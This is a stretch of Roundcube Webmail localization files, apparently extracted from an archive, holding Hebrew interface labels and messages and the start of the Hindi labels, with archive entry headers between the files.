$labels['spellcheckignorecaps'] = 'התעלמות ממילים עם אותציות ראשיות';
$labels['addtodict'] = 'הוספה למילון';
$labels['mailtoprotohandler'] = 'קביעת הפרוטוקול לטיפול בקישור מסוג  mailto:links';
$labels['standardwindows'] = 'חלונות קופצים יטופלו כחלונות רגילים';
$labels['forwardmode'] = 'הפנית הודעות';
$labels['inline'] = 'חלק מההודעה';
$labels['asattachment'] = 'כצרופה';
$labels['replyallmode'] = 'ברירת המחדל של כפתור [מענה לכולם]';
$labels['replyalldefault'] = 'מענה לכולם';
$labels['replyalllist'] = 'מענה לרשימת תפוצה בלבד (אם קיימת)';
$labels['allmessages'] = 'כל ההודעות';
$labels['olderxdays'] = 'לפני יותר מ- x$ ימים';
$labels['folder'] = 'תיקיה';
$labels['folders'] = 'תיקיות';
$labels['foldername'] = 'שם תיקיה';
$labels['subscribed'] = 'מנוי';
$labels['messagecount'] = 'הודעות';
$labels['create'] = 'יצירה';
$labels['createfolder'] = 'יצירת תיקיה חדשה';
$labels['managefolders'] = 'ניהול תיקיות';
$labels['specialfolders'] = 'תיקיות מיוחדות';
$labels['properties'] = 'מאפיינים';
$labels['folderproperties'] = 'מאפייני תיקיה';
$labels['parentfolder'] = 'תיקית אב';
$labels['location'] = 'מיקום';
$labels['info'] = 'מידע';
$labels['getfoldersize'] = 'הקשה להצגה של גודל תיקיה';
$labels['changesubscription'] = 'הקשה לשינוי הרשמה';
$labels['foldertype'] = 'סוג תיקיה';
$labels['personalfolder'] = 'תיקיה פרטית';
$labels['otherfolder'] = 'תיקית משתמש נוספת';
$labels['sharedfolder'] = 'תיקיה ציבורית';
$labels['findfolders'] = 'חיפוש תיקיות';
$labels['findcontacts'] = 'חיפוש אנשי קשר';
$labels['findmail'] = 'חפש הודעות דואר';
$labels['namespace.personal'] = 'אישי';
$labels['namespace.other'] = 'משתמשים אחרים';
$labels['namespace.shared'] = 'משותף';
$labels['dualuselabel'] = 'יכול רק להכיל';
$labels['dualusemail'] = 'הודעות';
$labels['dualusefolder'] = 'תיקיות';
$labels['generate'] = 'לחולל';
$labels['encryptioncreatekey'] = 'יצירה של צמד מפתחות';
$labels['openmailvelopesettings'] = 'הצגת אפשרויות לתוכנת ההצפנה';
$labels['encryptionprivkeysinmailvelope'] = 'קיימים $nr מפתחות פרטיים תואמים ברשימת המפתחות שלך בתוכנת ההצפנה';
$labels['encryptionnoprivkeysinmailvelope'] = 'לזהות השולחת אין עדיין מפתח הצפנה פרטי השמור בתוכנת ההצפנה שלך. האם ליצור כזה
כדי לאפשר הצפנת הודעות?';
$labels['encryption'] = 'הצפנה';
$labels['mailvelopeoptions'] = 'אפשרויות למעטפת ההודעה';
$labels['mailvelopemainkeyring'] = 'השתמש/י בטבעצ מפתחות עיקרית של מעטפת ההודעה';
$labels['mailvelopenotfound'] = 'ההרחבה העוסקת במעטפת ההודעה אינה מותקנת או מופעלת בדפדפן';
$labels['sortby'] = 'מיון לפי';
$labels['sortasc'] = 'מיון בסדר עולה';
$labels['sortdesc'] = 'מיון בסדר יורד';
$labels['undo'] = 'ביטול שינוי';
$labels['installedplugins'] = 'תוספים מותקנים';
$labels['plugin'] = 'תוסף תוכנה';
$labels['version'] = 'גירסה';
$labels['source'] = 'מקור';
$labels['destination'] = 'יעד';
$labels['license'] = 'רשיון';
$labels['support'] = 'קבלת תמיכה';
$labels['savedsearches'] = 'חיפושים שנשמרו';
$labels['dateformatY'] = 'YYYY';
$labels['dateformaty'] = 'YY';
$labels['dateformatm'] = 'MM';
$labels['dateformatd'] = 'DD';
$labels['dateformatj'] = 'D';
$labels['dateformatn'] = 'M';
$labels['B'] = 'בייט';
$labels['KB'] = 'ק"ב';
$labels['MB'] = 'מ"ב';
$labels['GB'] = 'ג"ב';
$labels['unicode'] = 'יוניקוד';
$labels['english'] = 'אנגלית';
$labels['westerneuropean'] = 'מערב אירופי';
$labels['easterneuropean'] = 'מזרח אירופי';
$labels['southeasterneuropean'] = 'דרום מזרח אירופה';
$labels['baltic'] = 'בלטי';
$labels['cyrillic'] = 'קירילי';
$labels['arabic'] = 'ערבי';
$labels['greek'] = 'יווני';
$labels['hebrew'] = 'עברי';
$labels['turkish'] = 'טורקי';
$labels['nordic'] = 'נורדי';
$labels['thai'] = 'תאי';
$labels['celtic'] = 'קלטי';
$labels['vietnamese'] = 'וויטנאמי';
$labels['japanese'] = 'יפני';
$labels['korean'] = 'קוריאני';
$labels['chinese'] = 'סיני';
$labels['arialabeltopnav'] = 'בקרת חלון';
$labels['arialabeltasknav'] = 'משימות יישום';
$labels['arialabeltoolbar'] = 'סרגל כלים יישום';
$labels['arialabellistnav'] = 'רשימת ניווט';
$labels['arialabelactivetask'] = 'משימה פעילה';
$labels['arialabelmessagessearchfilter'] = 'מסנן של רשימת ההודעות';
$labels['arialabelmailsearchform'] = 'טופס חיפוש בתוך הודעות';
$labels['arialabelcontactsearchform'] = 'תבנית חיפוש אנשי קשר';
$labels['arialabelmailquicksearchbox'] = 'הקשת מילות חיפוש';
$labels['arialabelquicksearchbox'] = 'קלט חיפוש';
$labels['arialabelfoldersearchfilter'] = 'מסנן רשימת תיקיות';
$labels['arialabelfoldersearchform'] = 'מסך חיפוש תיקייה';
$labels['arialabelfolderlist'] = 'בחירה של תיקית הודעות';
$labels['arialabelmessagelist'] = 'רשימת הודעות';
$labels['arialabelmailpreviewframe'] = 'תצוגה מקדמית של הודעה';
$labels['arialabelmailboxmenu'] = 'תפריט פעולות תפריט';
$labels['arialabellistselectmenu'] = 'רשימת פריטים לבחירה';
$labels['arialabelthreadselectmenu'] = 'בחירת פתילים של הודעות מתוך רשימה';
$labels['arialabelmessagelistoptions'] = 'אפשרויות להצגת הודעות ומיונן';
$labels['arialabelmailimportdialog'] = 'תהליך ייבוא הודעות';
$labels['arialabelmessagenav'] = 'ניווט הודעה';
$labels['arialabelmessagebody'] = 'גוף הודעה';
$labels['arialabelmessageactions'] = 'פעולות הודעה';
$labels['arialabelcontactquicksearch'] = 'תבנית חיפוש אנשי קשר';
$labels['arialabelcontactsearchbox'] = 'קלט חיפוש איש קשר';
$labels['arialabelmessageheaders'] = 'תקורות הודעה';
$labels['arialabelforwardingoptions'] = 'אפשרויות העברה';
$labels['arialabelreplyalloptions'] = 'אפשרויות מענה לכולם';
$labels['arialabelmoremessageactions'] = 'עוד פעולות הודעה';
$labels['arialabelmorecontactactions'] = 'פעולות נוספות על אנשי קשר';
$labels['arialabelmarkmessagesas'] = 'סימון הודעות נבחרות בתור...';
$labels['arialabelcomposeoptions'] = 'אפשרויות הלחנה';
$labels['arialabelresponsesmenu'] = 'תפריט של תגובות מוכנות מראש';
$labels['arialabelattachmentuploadform'] = 'תבנית העלאת צרופה';
$labels['arialabelattachmentmenu'] = 'אפשרויות צרופה';
$labels['arialabelmailtomenu'] = 'אפשרויות כתובת דואר';
$labels['arialabelattachmentpreview'] = 'תצוגה מקדמית של צרופה';
$labels['ariasummarycomposecontacts'] = 'רשימה של אנשי קשר וקבוצות שיבחרו כנמענים';
$labels['arialabelcontactexportoptions'] = 'אפשרויות ייצוא איש קשר';
$labels['arialabelabookgroupoptions'] = 'אפשרויות קבוצה/פנקס כתובות';
$labels['arialabelpreferencesform'] = 'תבנית העדפות';
$labels['arialabelidentityeditfrom'] = 'טופס עריכת זהות';
$labels['arialabelresponseeditfrom'] = 'טופס עריכת מענה';
$labels['arialabelsearchterms'] = 'מילות חיםוש';
$labels['arialabeldropactionmenu'] = 'תפריט גרירה';
$labels['arialabelheadersmenu'] = 'תפריט הוספת (כותרת) נמען';
$labels['arialabelimagetools'] = 'כלים לעיבוד תמונה';
$labels['helplistnavigation'] = 'ניווט ברשימה באמצעות לוח המקשים';
$labels['helplistkeyboardnavigation'] = "חיצים למלעלה/למטה: בחירת שורה/מיקוד בשורה
מקש רווח: בחירה בשורת המיקוד
מקש SHIFT+חץ למעלה/למטה: בחירה בשורות נוספות מעל/מתחת לשורה הנוכחית
מקש CTRL+רווח: הוספה/הסרה של שורה מהקבוצה שנבחרה";
$labels['helplistkeyboardnavmessages'] = "חץ ימין/שמאל: הרחבה/צימצום של פתיל ההודעות (במצב של הצגת פתילים בלבד)
ENTER: פתיחה של ההודעה שנבחרה
DELETE: העברה של ההודעה שנבחרה לפח האשפה";
$labels['helplistkeyboardnavcontacts'] = "ENTER: פתיחה של איש הקשר שסומן ";
PK
h�\D��5N5N'program/localization/he_IL/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'אירעה שגיאה !';
$messages['loginfailed']  = 'הכניסה נכשלה';
$messages['cookiesdisabled'] = 'הדפדפן אינו מקבל עוגיות';
$messages['sessionerror'] = 'כניסתך למערכת אינה חוקית או שפג תוקפה';
$messages['cookiesmismatch'] = 'קיימת אי התאמה בין בעוגיות. יש לנקות עוגיות השמורות בדפדפן';
$messages['storageerror'] = 'הקשר לשרת הדואר נכשל';
$messages['servererror'] = '! שגיאת שרת';
$messages['servererrormsg'] = '$msg  שגיאת שרת';
$messages['accountlocked'] = 'יותר מדיי ניסיונות כניסה כושלים. נסה שנית מאוחר יותר.';
$messages['connerror'] = 'שגיאת תקשורת עם השרת.';
$messages['dberror'] = '! שגיאה במסד הנתונים';
$messages['dbconnerror'] = 'לא ניתן ליצור קשר עם מסד הנתוים';
$messages['windowopenerror'] = 'החלון הקופץ נחסם!';
$messages['requesttimedout'] = 'תם הזמן המוקצב לבקשה';
$messages['errorreadonly'] = 'לא ניתן לבצע הפעולה כי התיקייה במצב קריאה בלבד';
$messages['errornoperm'] = 'לא ניתן לבצע הפעולה כי אין הרשאה לבצעה';
$messages['erroroverquota'] = 'לא ניתן לבצע את הפעולה.אין מקום פנוי על הדיסק';
$messages['erroroverquotadelete'] = 'אין מקום פנוי על הדיסק. יש להשתמש ב SHIFT+DELETE כדי למחוק ההודעה';
$messages['invalidrequest'] = 'בקשה לא חוקית. המידע לא נשמר';
$messages['invalidhost'] = 'שם שרת לא חוקי';
$messages['nomessagesfound'] = 'לא נמצאו הודעות בתיבה זו';
$messages['loggedout'] = 'הפעילות הסתיימה בהצלחה.  להתראות.';
$messages['mailboxempty'] = 'רשימת ההודעות ריקה';
$messages['nomessages'] = 'אין הודעות';
$messages['refreshing'] = 'מרענן...';
$messages['loading'] = 'טעינה...';
$messages['uploading'] = 'קובץ עולה...';
$messages['attaching'] = 'הוספת צרופה...';
$messages['uploadingmany'] = 'מעלה קבצים...';
$messages['loadingdata'] = 'טעינת מידע...';
$messages['checkingmail'] = 'בדיקת קיום הודעות חדשות...';
$messages['sendingmessage'] = 'ההודעה נשלחת...';
$messages['messagesent'] = 'ההודעה נשלחה בהצלחה';
$messages['savingmessage'] = 'שמירת הודעה...';
$messages['messagesaved'] = 'ההודעה נשמרה כטיוטה';
$messages['successfullysaved'] = 'נשמרה בהצלחה';
$messages['savingresponse'] = 'שמירת תגובה...';
$messages['deleteresponseconfirm'] = 'האם למחוק את התגובה?';
$messages['nocontactselected'] = 'עדיין לא נבחר איש קשר';
$messages['addedsuccessfully'] = 'איש הקשר נוסף לפנקס בהצלחה';
$messages['contactexists'] = 'קים איש קשר בעל כתובת דוא"ל זהה';
$messages['contactnameexists'] = 'קיים כבר איש קשר בעל אותו שם';
$messages['blockedimages'] = 'תמונות משרת אחר נחסמו כדי לשמור על הפרטיות';
$messages['blockedresources'] = 'משאבים מרוחקים נחסמו כדי לשמור על פרטיות';
$messages['suspiciousemail'] = 'ההודעה מכילה כתובות דוא"ל חשודות כנסיון מרמה';
$messages['bccemail'] = 'ההודעה/ות שהועברו מכילה/ות נמענים נסתרים BCC';
$messages['bouncehint'] = 'ההודעה תישלח ללא שינוי, כלומר עם גוף ההודעה,כותרות ונמענים מקוריים.';
$messages['encryptedmessage'] = 'זו הודעת מוצפנת ולא ניתן להציגה';
$messages['externalmessagedecryption'] = 'זו הודעה מוצפנת שניתן לפענחה באמצעות תוסף לדפדפן';
$messages['nopubkeyfor'] = 'לא נמצא מפתח ציבורי עבור email$';
$messages['nopubkeyforsender'] = 'לא נמצא מפתח ציבורי תקין לשולח זה. האם ברצונך להצפין את ההודעה לנמענים בלבד?';
$messages['encryptnoattachments'] = 'לא ניתן להצפין צרופות שכבר הועלו. נא להוסיפן מחדש בעורך ההצפנה.';
$messages['searchpubkeyservers'] = 'האם ברצונך לחפש בשרתים של מפתחות ציבוריים אחר המפתחות החסרים?';
$messages['encryptpubkeysfound'] = 'נמצאו המפתחות הציבוריים שלהלן';
$messages['keyservererror'] = 'שליפת מפתח מהשרת נכשלה';
$messages['keyimportsuccess'] = 'מפתח ציבורי $key יובא בהצלחה לצרור המפתחות שלך';
$messages['nocontactsfound'] = 'לא נמצאו אנשי קשר';
$messages['contactnotfound'] = 'איש הקשר המבוקש לא נמצא';
$messages['contactsearchonly'] = 'יש להתשמש במסך חיפוש כדי לראות אנשי קשר מספר הכתובות';
$messages['sendingfailed'] = 'שליחת ההודעה נכשלה';
$messages['senttooquickly'] = 'נא להמתין $sec שניות לפני מסירת הודעה זו';
$messages['errorsavingsent'] = 'אירעה שגיאה בזמן שמירת ההודעה שנשלחה';
$messages['errorsaving'] = 'אירעה שגיאה בזמן השמירה';
$messages['errormoving'] = 'העברת ההודעה(ות) נכשלה';
$messages['errorcopying'] = 'העתקת ההודעות נכשלה';
$messages['errordeleting'] = 'לא ניתן למחוק את ההודעה';
$messages['errormarking'] = 'לא ניתן לסמן ההודעה';
$messages['alerttitle'] = 'שימ/י לב';
$messages['confirmationtitle'] = 'האם את/ה בטוח/ה?....';
$messages['deletecontactconfirm']  = 'האם למחוק את איש הקשר?';
$messages['deletegroupconfirm']  = 'האם אכן ברצונך למחוק את הקבוצה שנבחרה?';
$messages['deletemessagesconfirm'] = 'האם למחוק את ההודעות המסומנות?';
$messages['deletefolderconfirm']  = 'האם למחוק תיקייה זו?';
$messages['movefolderconfirm']  = 'האם אכן ברצונך להעביר את התיקייה?';
$messages['purgefolderconfirm']  = 'האם למחוק את כל ההודעות בתיקייה זו?';
$messages['contactdeleting'] = 'אנשי קשר נמחקים...';
$messages['groupdeleting'] = 'מחיקת קבוצה...';
$messages['folderdeleting'] = 'התיקיה נמחקת...';
$messages['foldermoving'] = 'העברת תיקיה...';
$messages['foldersubscribing'] = 'התיקייה נרשמה...';
$messages['folderunsubscribing'] = 'רישום התיקיה בוטל...';
$messages['formincomplete'] = 'לא הוזנו כל השדות בטופס זה';
$messages['noemailwarning'] = 'נא להוסיף כתובת דוא"ל חוקית';
$messages['nonamewarning']  = 'נא להוסיף שם';
$messages['nopagesizewarning'] = 'נא להוסיף גודל דף';
$messages['nosenderwarning'] = 'נא להקיש כתובת דוא"ל של השולח';
$messages['recipientsadded'] = 'הנמען התוסף בהצלחה';
$messages['norecipientwarning'] = 'נא להוסיף לפחות נמען אחד';
$messages['disclosedrecipwarning'] = 'כל המכותבים יראו הכתובות של כולם. כדי למנוע זאת ולשמור על פרטיותם, ניתן להשתמש בתכונה של מכותבים נסתרים (Bcc)';
$messages['disclosedreciptitle'] = 'יותר מדי מכותבים גלויים';
$messages['nosubjectwarning']  = 'שורת הנושא ריקה. האם ברצונך להוסיף נושא כעת?';
$messages['nosubjecttitle']  = 'אין נושא';
$messages['nobodywarning'] = 'האם לשלוח הודעה ללא תוכן?';
$messages['notsentwarning'] = 'ההודעה טרם נשלחה ויש בה שינויים שלא נשמרו. האם לוותר על כל השינויים?';
$messages['restoresavedcomposedata'] = 'נמצאה הודעה שנערכה אך לא נשלחה. \n\nSubject: $subject\nנשמרה:  $date\n\nהאם לשחזר את ההודעה?';
$messages['nosearchname'] = 'נא להוסיף איש קשר או כתובת דוא"ל';
$messages['notuploadedwarning'] = 'עדיין לא הועלו כל הקבצים. נא לחכות או לבטל הפעולה.';
$messages['searchsuccessful'] = 'נמצאו $nr הודעות';
$messages['contactsearchsuccessful'] = 'נמצאו $nr אנשי קשר';
$messages['searchnomatch'] = 'תוצאת החיפוש ריקה';
$messages['searching'] = 'חיפוש...';
$messages['checking'] = 'בדיקה...';
$messages['stillsearching'] = 'עדיין בחיפוש...';
$messages['nospellerrors'] = 'לא נמצאו שגיאות כתיב';
$messages['folderdeleted'] = 'התיקייה נמחקה בהצלחה';
$messages['foldersubscribed'] = 'התיקייה נרשמה בהצלחה';
$messages['folderunsubscribed'] = 'ביטול רישום התיקייה הצליח';
$messages['folderpurged'] = 'התיקייה רוקנה בהצלחה';
$messages['folderexpunged'] = 'התיקייה צומצמה בהצלחה';
$messages['deletedsuccessfully'] = 'המחיקה הסתיימה בהצלחה';
$messages['converting'] = 'הסרת העיצוב מההודעה';
$messages['messageopenerror'] = 'לא ניתן לטעון ההודעה מהשרת';
$messages['filelinkerror'] = 'הצמדת הצרופה נכשלה';
$messages['fileuploaderror'] = 'העלאת הקובץ נכשלה';
$messages['csvfilemismatch'] = 'יבוא של מספר קבצים מסוג CVS בעלי שדות שונים זה מזה אינו נתמך.';
$messages['filesizeerror'] = 'הקובץ לטעינה גדול מהגודל המקסימלי שהוא $size';
$messages['filecounterror'] = 'ניתן להעלות לכל היותר count$ קבצים בעת ובעונה אחת';
$messages['msgsizeerror'] = 'הוספת צרופה נכשלה. גודלה יותר מהגודל (size$) המותר.';
$messages['msgsizeerrorfwd'] = 'גודל ההודעה (size$) דול מהמקסימום המותר. 
num$ הודעות לא צורפו.';
$messages['copysuccess'] = '$nr אנשי קשר הועתקו בהצלחה';
$messages['movesuccess'] = '$nr אנשי קשר הועברו בהצלחה';
$messages['copyerror'] = 'לא ניתן היה להעתיק אנשי קשר כלשהם';
$messages['moveerror'] = 'לא ניתן היה להעביר אנשי קשר כלשהם';
$messages['sourceisreadonly'] = 'המקור לכתובת הוא לקריאה בלבד';
$messages['errorsavingcontact'] = 'לא ניתן לשמור את כתובת איש הקשר';
$messages['movingmessage'] = 'העברת הודעה(ות)...';
$messages['copyingmessage'] = 'העתקת הודעה(ות)...';
$messages['copyingcontact'] = 'העתקת אנשי קשר...';
$messages['movingcontact'] = 'העברת אנשי קשר...';
$messages['deletingmessage'] = 'מחיקת הודעה(ות)...';
$messages['markingmessage'] = 'סימון ההודעה בתהליך...';
$messages['addingmember'] = 'הוספת אנשי קשר לקבוצה...';
$messages['removingmember'] = 'הסרת אנשי קשר מהקבוצה...';
$messages['receiptsent'] = 'אישור הקבלה נשלח בהצלחה';
$messages['errorsendingreceipt'] = 'לא ניתן לשלוח אישור קבלה';
$messages['deleteidentityconfirm'] = 'האם אכן ברצונך למחוק זהות זאת?';
$messages['nodeletelastidentity'] = 'זו הזהות האחרונה ולכן לא ניתן לבטלה';
$messages['forbiddencharacter'] = 'שם התיקיה מכיל תוים אסורים';
$messages['selectimportfile'] = 'נא לבחור קובץ להעלאה';
$messages['addresswriterror'] = 'פנקס הכתובות שנבחר אינו ניתן לכתיבה';
$messages['contactaddedtogroup'] = 'אנשי הקשר נוספו בהצלחה לקבוצה';
$messages['contactremovedfromgroup'] = 'אנשי הקשר הוסרו בהצלחה מהקבוצה';
$messages['nogroupassignmentschanged'] = 'לא השתנו הגדרות קבוצה';
$messages['importwait'] = 'ייבוא, נא להמתין..';
$messages['importformaterror'] = 'היבוא נכשל ! הקובץ שהועלה אינו מתאים.';
$messages['importconfirm'] = '<b>יובאו $inserted אנשי קשר, $skipped היו קיימים </b>:<p><em>$names</em></p>';
$messages['importconfirmskipped'] = '<b>  דילוג של $skipped נתונים קיימים <b>';
$messages['importmessagesuccess'] = 'יובאו בהצלחה $nr הודעות ';
$messages['importmessageerror'] = 'היבוא נכשל ! הקובץ שהועלה אינו הודעה או קובץ הודעות במבנה מתאים';
$messages['opnotpermitted'] = 'פעולה אסורה!';
$messages['nofromaddress'] = 'חסרה כתובת דוא"ל בזהות שנבחרה';
$messages['editorwarning'] = 'החלפת סוג העורך עלולה לגרום לאבדן עיצוב טקסט. האם ברצונך להמשיך?';
$messages['httpreceivedencrypterror'] = 'ארעה שגיאת תצורה חמורה. נא להודיע מייד למנהל/ת המערכת. <B> הודעתך לא תשלח <B>';
$messages['smtpconnerror'] = 'SMTP ($code): אבד הקשר לשרת';
$messages['smtpautherror'] = 'SMTP ($code): ההזדהות נכשלה';
$messages['smtpfromerror'] = '($msg) SMTP ($code): "$from" לא נרשמה כתובת השולח';
$messages['smtptoerror'] = '($msg) SMTP ($code): "$to" לא נרשמה כתובת המקבל';
$messages['smtprecipientserror'] = 'SMTP : לא ניתן לפענח רשימת נמענים';
$messages['smtputf8error'] = 'שגיאת SMTP: שרת הדואר לא תומך כתובת דואר אלקטרוני מקודדת ביוניקוד.';
$messages['smtpsizeerror'] = 'גודל ההודעה עולה על הגודל המותר בשרת  limit ($limit)';
$messages['smtperror'] = 'SMTP: $msg';
$messages['emailformaterror'] = 'כתבות דוא"ל לא תקינה: email$';
$messages['toomanyrecipients'] = 'יותר מדי נמענים. יש להקטין מספרם ל - $max';
$messages['maxgroupmembersreached'] = 'מספרם של חברי הקבוצה אינו יכול לעבור $max';
$messages['internalerror'] = 'שגיאת מערכת. נא לנסות שנית.';
$messages['contactdelerror'] = 'לא ניתן למחוק איש קשר';
$messages['contactdeleted'] = 'איש הקשר נמחק';
$messages['contactrestoreerror'] = 'לא ניתן לשחזר איש קשר שנמחק';
$messages['contactrestored'] = 'איש הקשר שוחזר בהצלחה';
$messages['groupdeleted'] = 'הקבוצה נמחקה בהצלחה';
$messages['grouprenamed'] = 'שם הקבוצה שונה בהצלחה';
$messages['groupcreated'] = 'הקבוצה נוצרה בהצלחה';
$messages['savedsearchdeleted'] = 'נמחק החיפוש שנשמר';
$messages['savedsearchdeleteerror'] = 'לא ניתן למחוק החיפוש שנשמר';
$messages['savedsearchcreated'] = 'החיפוש נשמר בהצלחה';
$messages['savedsearchcreateerror'] = 'לא ניתן לשמור את החיפוש';
$messages['messagedeleted'] = 'ההודעה נמחקה בהצלחה';
$messages['messagemoved'] = 'ההודעה הועברה בהצלחה';
$messages['messagemovedtotrash'] = 'ההודעה(ות) הועברו לסל המיחזור';
$messages['messagecopied'] = 'ההודעה הועתקה בהצלחה';
$messages['messagemarked'] = 'ההודעה סומנה בהצלחה';
$messages['autocompletechars'] = 'יש להקיש לפחות $min תווים להשלמה אוטומטית של המחרוזת';
$messages['autocompletemore'] = 'נמצאו רשומות נוספות. נא להקיש תווים נוספים.';
$messages['namecannotbeempty'] = 'השם אינו יכול להיות ריק';
$messages['nametoolong'] = 'השם ארוך מדי';
$messages['namedotforbidden'] = 'שם תיקיה אינו יכול להתחיל בנקודה';
$messages['folderupdated'] = 'התיקייה עודכנה בהצלחה';
$messages['foldercreated'] = 'התיקייה נוצרה בהצלחה';
$messages['invalidimageformat'] = 'פורמט תמונה לא חוקי';
$messages['mispellingsfound'] = 'התגלו שגיאות כתיב בהודעה';
$messages['parentnotwritable'] = 'לא ניתן ליצור/להעביר תיקיה לתוך תיקית האב שנבחרה. אין הרשאה לגישה.';
$messages['messagetoobig'] = 'ההודעה גדולה מעבר ליכולת העיבוד של התוכנה';
$messages['attachmentvalidationerror'] = 'הצרופה הזו חשודה כי הסוג שלה לא תואם את הסוג שהוכרז בהודעה. אם אינך בוטח/ת
בשולח/ת, לא לפתוח אותה בדפדפן כי היא עלולה להכיל נוזקה.
הסוג שהוכרז:  $expected, הסוג שנמצא:  $detected';
$messages['noscriptwarning'] = 'זהירות! תוכנה זו דורשת שימוש בג\'אווהסקריפט! כדי להשתמש בכלי, יש לבחור באפשרות זו בהגדרות הדפדפן.';
$messages['messageissent'] = 'ההודעה נשלחה אבל לא נשמרה עדיין. האם לשמור אותה כעת?';
$messages['errnotfound'] = 'הקובץ לא נמצא';
$messages['errnotfoundexplain'] = 'המשאב המבוקש לא נמצא!';
$messages['errfailedrequest'] = 'הבקשה נכשלה';
$messages['errauthorizationfailed'] = 'הרשאה נכשלה';
$messages['errunauthorizedexplain'] = 'לא ניתו לאשר את הרשאתך לגישה לשירות זה';
$messages['errrequestcheckfailed'] = 'בדיקת הבקשה נכשלה';
$messages['errcsrfprotectionexplain'] = "להגנתך, הגישה למשאב זה מאובטחת כנגד CRSF.
אם הודעה זו מופיעה, זה משום שקרוב לודאי לא היתה יציאה מסודרת לפני
סגירת היישום בדפדפן. 
כעת נדרשת פעולה ידנית כדי להמשיך.";
$messages['errcontactserveradmin'] = 'נא לפנות למנהל השרת';
$messages['clicktoresumesession'] = 'יש ללחוץ כאן כדי להמשיך מהמצב הקודם';
$messages['errcomposesession'] = 'שגיאה במהלך יצירת ההודעה';
$messages['errcomposesessionexplain'] = 'תהליך יצירת ההודעה לא אותר';
$messages['clicktocompose'] = 'יש להקיש כאן כדי ליצור הודעה חדשה';
$messages['nosupporterror'] = 'התכונה הזו אינה נתמכת על ידי הדפדפן שלך';
$messages['siginserted'] = 'החתימה התווספה בהצלחה';
$messages['responseinserted'] = 'התגובה התווספה בהצלחה';
$messages['noresponsesavailable'] = 'לא נמצאו תגובות';
$messages['listempty'] = 'הרשימה ריקה';
$messages['listusebutton'] = 'יש להשתמש בכפתור יצירה כדי להוסיף רשומה חדשה';
$messages['keypaircreatesuccess'] = 'הצליחה יצירת מפתח חדש ל identity$';
$messages['emptyattachment'] = 'צרופה זו נראית כריקה. יש לבדוק עם השולח';
$messages['oauthloginfailed'] = 'נכשל נסיון כניסה באמצעות OAUTH. נא לנסות שנית.';
PK
h�\v�e�%�%%program/localization/hi_IN/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = '$product में स्वागत है';
$labels['username'] = 'यूसरनाम';
$labels['password'] = 'पासवर्ड';
$labels['server'] = 'सर्वर';
$labels['login'] = 'लॉगिन';
$labels['logout'] = 'लॉगआऊट';
$labels['mail'] = 'ई-मेल';
$labels['settings'] = 'निजी सैटिंग';
$labels['addressbook'] = 'पता खाता';
$labels['inbox'] = 'इनबॉक्स';
$labels['drafts'] = 'ड्राफ़ट';
$labels['sent'] = 'भेजा गया';
$labels['trash'] = 'रद्दी';
$labels['junk'] = 'स्पैम';
$labels['subject'] = 'विशय';
$labels['from'] = 'भेजने वाला';
$labels['to'] = 'पाने वाला';
$labels['cc'] = 'कार्बन';
$labels['bcc'] = 'अंधा कार्बन';
$labels['replyto'] = 'जवाब यहाँ';
$labels['followupto'] = 'को- फॉलोअप';
$labels['date'] = 'तारीख';
$labels['size'] = 'माप';
$labels['priority'] = 'मेल की महत्वपूर्णता';
$labels['organization'] = 'संस्था';
$labels['mailboxlist'] = 'फ़ोल्डर';
$labels['messagesfromto'] = '$from से ले कर $to, $count मेल में से';
$labels['messagenrof'] = '$nr नम्बर मेल, $count में से';
$labels['copy'] = 'कार्बन';
$labels['move'] = 'स्थानांतरित करें';
$labels['moveto'] = 'खीस्काऐं...';
$labels['download'] = 'डाऊनलोड';
$labels['filename'] = 'फ़ाईल नाम';
$labels['filesize'] = 'फ़ाईल माप';
$labels['addtoaddressbook'] = 'पता खाते में जोडें';
$labels['sun'] = 'रवि';
$labels['mon'] = 'सोम';
$labels['tue'] = 'मंग';
$labels['wed'] = 'बुध';
$labels['thu'] = 'गुरु';
$labels['fri'] = 'शुक्र';
$labels['sat'] = 'शनि';
$labels['sunday'] = 'रविवार';
$labels['monday'] = 'सोमवार';
$labels['tuesday'] = 'मंगलवार';
$labels['wednesday'] = 'बुधवार';
$labels['thursday'] = 'गुरुवार';
$labels['friday'] = 'शुक्रवार';
$labels['saturday'] = 'शनिवार';
$labels['jan'] = 'जनवरी';
$labels['feb'] = 'फ़रवरी';
$labels['mar'] = 'मार्च';
$labels['apr'] = 'अप्रेल';
$labels['may'] = 'मई';
$labels['jun'] = 'जून';
$labels['jul'] = 'जुलाई';
$labels['longjan'] = 'जनवरी';
$labels['longfeb'] = 'फ़रवरी';
$labels['longmar'] = 'मार्च';
$labels['longapr'] = 'अप्रैल';
$labels['longmay'] = 'मई';
$labels['longjun'] = 'जून';
$labels['longjul'] = 'जुलाई';
$labels['longaug'] = 'अगस्त';
$labels['longsep'] = 'सितंबर';
$labels['longoct'] = 'अक्टूबर';
$labels['longnov'] = 'नवम्बर';
$labels['longdec'] = 'दिसंबर';
$labels['today'] = 'आज';
$labels['refresh'] = 'ताज़ा करें';
$labels['checkmail'] = 'नये मेल लाऐं';
$labels['compose'] = 'मेल लिखें';
$labels['writenewmessage'] = 'मेल लिखें';
$labels['reply'] = 'जवाब';
$labels['replytomessage'] = 'मेल का जवाब दें';
$labels['replytoallmessage'] = 'सभी को जवाब लिखें';
$labels['forward'] = 'अग्रेषित करें';
$labels['forwardmessage'] = 'आगे भेजें';
$labels['deletemessage'] = 'रद्द करें';
$labels['printmessage'] = 'मेल छापें';
$labels['previousmessage'] = 'पीछे के मेल दिखाऐं';
$labels['firstmessage'] = 'पहला मेल दिखाऐं';
$labels['nextmessage'] = 'अगला मेल दिखाऐं';
$labels['lastmessage'] = 'आखीरी मेल दिखाऐं';
$labels['backtolist'] = 'मेल सूची देखें';
$labels['viewsource'] = 'सोर्स दिखाऐं';
